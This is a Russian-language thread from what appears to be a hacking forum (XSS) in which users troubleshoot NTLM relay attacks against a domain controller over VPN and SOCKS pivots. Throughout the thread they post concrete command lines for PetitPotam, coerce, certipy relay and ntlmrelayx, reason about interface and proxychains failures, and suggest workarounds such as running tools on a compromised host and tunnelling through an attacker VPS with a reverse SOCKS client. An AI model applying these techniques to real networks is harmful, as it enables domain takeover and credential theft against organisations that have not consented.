• XSS.stack #1 – первый литературный журнал от юзеров форума

Pivoting relay через socks/vpn

Отслеживать

Chairman

RAM
Пользователь
Регистрация
29.12.2020
Сообщения
115
Реакции
29
давно мучаюсь этим вопросом, во всех мануалах которые встречал все конечно же работает идеально,
но там все хосты в одной подсети, что при socks/vpn подключении невозможно. в идеале нужно быть на одном интерфейсе с DC


мой пример, где
10.2.5.16 - DC
10.0.2.15 - атакующий хост

Код: 
certipy relay -target http://10.2.5.16


coerce -d testdomain.local -u test.user -p pass1234 -t 10.2.5.16 -l 10.0.2.15 --dc-ip 10.2.5.16

естественно он не работает хотя хост уязвим

это просто один из примеров, что под рукой было, на самом деле много разных способов перепробовал

если возможно такое реализовать через socks/vpn, где атакующий и атакованный хосты в разных подсетях подскажите инструменты/способы
 
В разных подсетях такое вряд ли получится,тебе один фиг нужен слушатель в их сети,чтобы трафик к себе лить,а то ты выступаешь не как человек по середине.
 
Часто бываю в впн сетях, использую petitpotam и ntlm-relayx, но это тоже что и твое, принцип тот же, принудительная аутентификация.
И в 80% случаев атака проходит, только для слушания я использую не IP предоставленный VPN'ом, а IP своей VPS/виртуалки/ну или что ты используешь. Конечно это дело безопасности уже.
 
VPN
2 интерфейса eth0 (192.168.0.1), ppp0 (192.168.0.2) и DC 192.168.0.3
Первый вариант: "PetitPotam.py -u user -p pass -d domain.local 192.168.0.1 192.168.0.3" "ntlm-relayx -t ldap://192.168.0.3" Атака пройдет.
Второй вариант: "PetitPotam.py -u user -p pass -d domain.local 192.168.0.2 192.168.0.3" "ntlm-relayx -t ldap://192.168.0.3 -ip 192.168.0.2" Атака скорее всего не пройдет, и дело тут не в параметрах, а в том что это VPN. Добавил -ip, так как без этого параметра ntlm-relayx будет прослушивать на eth0.

В твоем случае, если это VPN, то принцип должен быть такой же. Ты заставляешь coerce прослушивать ip 10.0.2.15, но что это? Если это ip VPN, то тогда certipy этого не видит если работает по такому же принципу как ntlm-relayx, certipy слушает eth0 когда coerce ppp0. Не нашел в certipy параметр для альтернативного ip. Вариант один, проводить атаку через eth0.

Socks
Тут вообще ни хрена не понял, если socks значит один хост уже скомпрометирован, и ты используешь proxychain?
 
Ellnoir сказал(а):
VPN
2 интерфейса eth0 (192.168.0.1), ppp0 (192.168.0.2) и DC 192.168.0.3
Первый вариант: "PetitPotam.py -u user -p pass -d domain.local 192.168.0.1 192.168.0.3" "ntlm-relayx -t ldap://192.168.0.3" Атака пройдет.
Второй вариант: "PetitPotam.py -u user -p pass -d domain.local 192.168.0.2 192.168.0.3" "ntlm-relayx -t ldap://192.168.0.3 -ip 192.168.0.2" Атака скорее всего не пройдет, и дело тут не в параметрах, а в том что это VPN. Добавил -ip, так как без этого параметра ntlm-relayx будет прослушивать на eth0.

В твоем случае, если это VPN, то принцип должен быть такой же. Ты заставляешь coerce прослушивать ip 10.0.2.15, но что это? Если это ip VPN, то тогда certipy этого не видит если работает по такому же принципу как ntlm-relayx, certipy слушает eth0 когда coerce ppp0. Не нашел в certipy параметр для альтернативного ip. Вариант один, проводить атаку через eth0.

Socks
Тут вообще ни хрена не понял, если socks значит один хост уже скомпрометирован, и ты используешь proxychain?
Тоже бадаюсь уже неделю с этим, особенно с сoксом что то придумать надо.
Хост то скомпрометирован, но нужно еще права поднять.
Я так понял с проксичейном не одна из этих атак не работает, не pелей не сертипи, верно?
 
Periphery сказал(а):
Тоже бадаюсь уже неделю с этим, особенно с сoксом что то придумать надо.
Хост то скомпрометирован, но нужно еще права поднять.
Я так понял с проксичейном не одна из этих атак не работает, не pелей не сертипи, верно?
Если исходить из описания proxychains, то он захватывает и перенаправляет трафик в динамических программах.
Как то так: Твой хост (nmap допустим) <-> proxychains <-> Target host, и все вроде работает так как происходит в моменте, и инициатор тут ты.

Но что происходит при релэе?
socks - 192.168.0.2, DC - 192.168.0.3
proxychains certipy relay -target http://192.168.0.3 - говорим certipy что он должен поймать аутентификацию с сокса и перенаправить его на DC
proxychains coerce -d domain.local -u user -p pass -t 192.168.0.3 -l 192.168.0.2 - говорим coerce что он должен аутентифицироваться на DC и перенаправить на сокс

Только вот coerce отрабатывает, а certipy не ловит. Вижу 3 варианта:
1) На хост где стоит сокс приходит аутентификация с DC, но дальше не идет, а нахрена? Она достигла цели, и на сокс ей похер. Грубо говоря инициатором тут выступает DC, а он proxychains не использует. Но ведь certipy должен поймать, так как "типа запущен" на том хосте, видимо есть еще какие то подводные камни. Может знающие люди подскажут.
2) На хост где стоит сокс приходит аутентификация с DC, certipy ловит и отправляет обратно на DC, в ответ мы должны получить сертификат, но не получаем. DC инициатор и отправил наш сертификат на хост, а не в сокс.
3) certipy похер на proxychains и он все еще слушает eth0, тоесть наш ip, а не сокс.

Как же быть:
1) Тащим certipy на скомпрометированный хост и запускаем от туда
2) Пробуем пробросить нужные порты на скомпрометированном хосте на себя
3) Responder и Inveight, Responder без прав точно не запустить, на счет Inveight не знаю. Но Inveight отлично отрабатывает на Windows.
 
Последнее редактирование:
Ellnoir сказал(а):
Если исходить из описания proxychains, то он захватывает и перенаправляет трафик в динамических программах.
Как то так: Твой хост (nmap допустим) <-> proxychains <-> Target host, и все вроде работает так как происходит в моменте, и инициатор тут ты.

Но что происходит при релэе?
socks - 192.168.0.2, DC - 192.168.0.3
proxychains certipy relay -target http://192.168.0.3 - говорим certipy что он должен поймать аутентификацию с сокса и перенаправить его на DC
proxychains coerce -d domain.local -u user -p pass -t 192.168.0.3 -l 192.168.0.2 - говорим coerce что он должен аутентифицироваться на DC и перенаправить на сокс

Только вот coerce отрабатывает, а certipy не ловит. Вижу 3 варианта:
1) На хост где стоит сокс приходит аутентификация с DC, но дальше не идет, а нахрена? Она достигла цели, и на сокс ей похер. Грубо говоря инициатором тут выступает DC, а он proxychains не использует. Но ведь certipy должен поймать, так как "типа запущен" на том хосте, видимо есть еще какие то подводные камни. Может знающие люди подскажут.
2) На хост где стоит сокс приходит аутентификация с DC, certipy ловит и отправляет обратно на DC, в ответ мы должны получить сертификат, но не получаем. DC инициатор и отправил наш сертификат на хост, а не в сокс.
3) certipy похер на proxychains и он все еще слушает eth0, тоесть наш ip, а не сокс.

Как же быть:
1) Тащим certipy на скомпрометированный хост и запускаем от туда
2) Пробуем пробросить нужные порты на скомпрометированном хосте на себя
3) Responder и Inveight, Responder без прав точно не запустить, на счет Inveight не знаю. Но Inveight отлично отрабатывает на Windows.
спасибо по Inveight почитать надо, не знал о таком
 
Ellnoir сказал(а):
VPN
2 интерфейса eth0 (192.168.0.1), ppp0 (192.168.0.2) и DC 192.168.0.3
Первый вариант: "PetitPotam.py -u user -p pass -d domain.local 192.168.0.1 192.168.0.3" "ntlm-relayx -t ldap://192.168.0.3" Атака пройдет.
Второй вариант: "PetitPotam.py -u user -p pass -d domain.local 192.168.0.2 192.168.0.3" "ntlm-relayx -t ldap://192.168.0.3 -ip 192.168.0.2" Атака скорее всего не пройдет, и дело тут не в параметрах, а в том что это VPN. Добавил -ip, так как без этого параметра ntlm-relayx будет прослушивать на eth0.

В твоем случае, если это VPN, то принцип должен быть такой же. Ты заставляешь coerce прослушивать ip 10.0.2.15, но что это? Если это ip VPN, то тогда certipy этого не видит если работает по такому же принципу как ntlm-relayx, certipy слушает eth0 когда coerce ppp0. Не нашел в certipy параметр для альтернативного ip. Вариант один, проводить атаку через eth0.

Socks
Тут вообще ни хрена не понял, если socks значит один хост уже скомпрометирован, и ты используешь proxychain?
сенкс. дал пищу для ума с примерами,


в данном примере использовался впн, да. 10.0.2.15 это ip vpn-а
 
Последнее редактирование:
Как уже сказали ранее, все проблемы решаются через впс, за исключением фаервола и EDR.
Если ты подключен к VPN-сети со своего хоста на Windows, делаешь следующее:
1. Поднимаешь SOCKS-сервер на впс.
2. Подключаешься к впн сети на Windows.
3. Подключаешься реверс SOCKS-клиентом с Windows к Linux впс.
4. На Linux впс, предварительно настроив конфигурацию /etc/proxychains4.conf, запускаешь ntlmrelayx через proxychains4 так, будто ты находишься с адсц в одной локальной сети.

После этого, с компьютера на Windows, инициализируешь авторизацию указав вторым IP ип впс.
 
admin


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх